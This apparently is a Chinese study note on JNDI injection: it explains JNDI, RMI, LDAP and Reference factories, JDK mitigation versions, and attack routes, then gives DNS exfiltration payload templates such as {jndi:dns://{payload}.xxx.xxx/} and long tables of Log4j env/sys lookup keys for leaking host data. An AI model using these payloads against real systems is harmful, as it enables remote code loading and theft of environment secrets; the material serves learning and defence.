JNDI
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用;
- LDAP: 轻量级目录访问协议;
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
Java Naming
命名服务是一种键值对的绑定,使应用程序可以通过键检索值。
Java Directory
目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。
JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。
ObjectFactory
Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。
JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。
LDAP
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的。
RMI
RMI,即 Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架。
JNDI注入
原理
JNDI协议动态转换
JNDI用INITIAL_CONTEXT_FACTORY指定初始化的工厂类,PROVIDER_URL指定资源地址。但在调用lookup()或者search()时,可以使用带URI动态的转换上下文环境,直接使用其他的URI格式去转换上下文环境访问别的服务上的绑定对象而非原本的服务。
Reference类
Reference类表示对存在于命名/目录系统以外的对象的引用。Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
JDK版本
要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
攻击方式
JNDI+RMI|LDAP获取远程类
利用搭建的恶意RMI或LDAP服务器让受害者服务器获取远程恶意类实例化
利用本地Class作为Reference Factory
在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。
利用LDAP返回序列化数据,触发本地Gadget
利用LDAP向受害者发送序列化的恶意对象,利用本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
dns外带信息泄露
通过jndi使用dns协议可以将一些信息传出,例如{jndi:idap://xxx.xxx.xxx/{payload}}或{jndi:dns://{payload}.xxx.xxx/}
可利用属性
log4j-java
| ID | usage | method |
|---|---|---|
| 1 | java:version | getSystemProperty("java.version") |
| 2 | java:runtime | getRuntime() |
| 3 | java:vm | getVirtualMachine() |
| 4 | java:os | getOperatingSystem() |
| 5 | java:hw | getHardware() |
| 6 | java:locale | getLocale() |
linux
| id | usage |
|---|---|
| 1 | env:CLASSPATH |
| 2 | env:HOME |
| 3 | env:JAVA_HOME |
| 4 | env:LANG |
| 5 | env:LC_TERMINAL |
| 6 | env:LC_TERMINAL_VERSION |
| 7 | env:LESS |
| 8 | env:LOGNAME |
| 9 | env:LSCOLORS |
| 10 | env:LS_COLORS |
| 11 | env:MAIL |
| 12 | env:NLSPATH |
| 13 | env:OLDPWD |
| 14 | env:PAGER |
| 15 | env:PATH |
| 16 | env:PWD |
| 17 | env:SHELL |
| 18 | env:SHLVL |
| 19 | env:SSH_CLIENT |
| 20 | env:SSH_CONNECTION |
| 21 | env:SSH_TTY |
| 22 | env:TERM |
| 23 | env:USER |
| 24 | env:XDG_RUNTIME_DIR |
| 25 | env:XDG_SESSION_ID |
| 26 | env:XFILESEARCHPATH |
| 27 | env:ZSH |
windows
| id | usage |
|---|---|
| 1 | env:A8_HOME |
| 2 | env:A8_ROOT_BIN |
| 3 | env:ALLUSERSPROFILE |
| 4 | env:APPDATA |
| 5 | env:CATALINA_BASE |
| 6 | env:CATALINA_HOME |
| 7 | env:CATALINA_OPTS |
| 8 | env:CATALINA_TMPDIR |
| 9 | env:CLASSPATH |
| 10 | env:CLIENTNAME |
| 11 | env:COMPUTERNAME |
| 12 | env:ComSpec |
| 13 | env:CommonProgramFiles |
| 14 | env:CommonProgramFiles(x86) |
| 15 | env:CommonProgramW6432 |
| 16 | env:FP_NO_HOST_CHECK |
| 17 | env:HOMEDRIVE |
| 18 | env:HOMEPATH |
| 19 | env:JRE_HOME |
| 20 | env:Java_Home |
| 21 | env:LOCALAPPDATA |
| 22 | env:LOGONSERVER |
| 23 | env:NUMBER_OF_PROCESSORS |
| 24 | env:OS |
| 25 | env:PATHEXT |
| 26 | env:PROCESSOR_ARCHITECTURE |
| 27 | env:PROCESSOR_IDENTIFIER |
| 28 | env:PROCESSOR_LEVEL |
| 29 | env:PROCESSOR_REVISION |
| 30 | env:PROMPT |
| 31 | env:PSModulePath |
| 32 | env:PUBLIC |
| 33 | env:Path |
| 34 | env:ProgramData |
| 35 | env:ProgramFiles |
| 36 | env:ProgramFiles(x86) |
| 37 | env:ProgramW6432 |
| 38 | env:SESSIONNAME |
| 39 | env:SystemDrive |
| 40 | env:SystemRoot |
| 41 | env:TEMP |
| 42 | env:TMP |
| 43 | env:ThisExitCode |
| 44 | env:USERDOMAIN |
| 45 | env:USERNAME |
| 46 | env:USERPROFILE |
| 47 | env:WORK_PATH |
| 48 | env:windir |
| 49 | env:windows_tracing_flags |
| 50 | env:windows_tracing_logfile |
log4j2-sys
| id | usage |
|---|---|
| 1 | sys:awt.toolkit |
| 2 | sys:file.encoding |
| 3 | sys:file.encoding.pkg |
| 4 | sys:file.separator |
| 5 | sys:java.awt.graphicsenv |
| 6 | sys:java.awt.printerjob |
| 7 | sys:java.class.path |
| 8 | sys:java.class.version |
| 9 | sys:java.endorsed.dirs |
| 10 | sys:java.ext.dirs |
| 11 | sys:java.home |
| 12 | sys:java.io.tmpdir |
| 13 | sys:java.library.path |
| 14 | sys:java.runtime.name |
| 15 | sys:java.runtime.version |
| 16 | sys:java.specification.name |
| 17 | sys:java.specification.vendor |
| 18 | sys:java.specification.version |
| 19 | sys:java.vendor |
| 20 | sys:java.vendor.url |
| 21 | sys:java.vendor.url.bug |
| 22 | sys:java.version |
| 23 | sys:java.vm.info |
| 24 | sys:java.vm.name |
| 25 | sys:java.vm.specification.name |
| 26 | sys:java.vm.specification.vendor |
| 27 | sys:java.vm.specification.version |
| 28 | sys:java.vm.vendor |
| 29 | sys:java.vm.version |
| 30 | sys:line.separator |
| 31 | sys:os.arch |
| 32 | sys:os.name |
| 33 | sys:os.version |
| 34 | sys:path.separator |
| 35 | sys:sun.arch.data.model |
| 36 | sys:sun.boot.class.path |
| 37 | sys:sun.boot.library.path |
| 38 | sys:sun.cpu.endian |
| 39 | sys:sun.cpu.isalist |
| 40 | sys:sun.desktop |
| 41 | sys:sun.io.unicode.encoding |
| 42 | sys:sun.java.command |
| 43 | sys:sun.java.launcher |
| 44 | sys:sun.jnu.encoding |
| 45 | sys:sun.management.compiler |
| 46 | sys:sun.os.patch.level |
| 47 | sys:sun.stderr.encoding |
| 48 | sys:user.country |
| 49 | sys:user.dir |
| 50 | sys:user.home |
| 51 | sys:user.language |
| 52 | sys:user.name |
| 53 | sys:user.script |
| 54 | sys:user.timezone |
| 55 | sys:user.variant |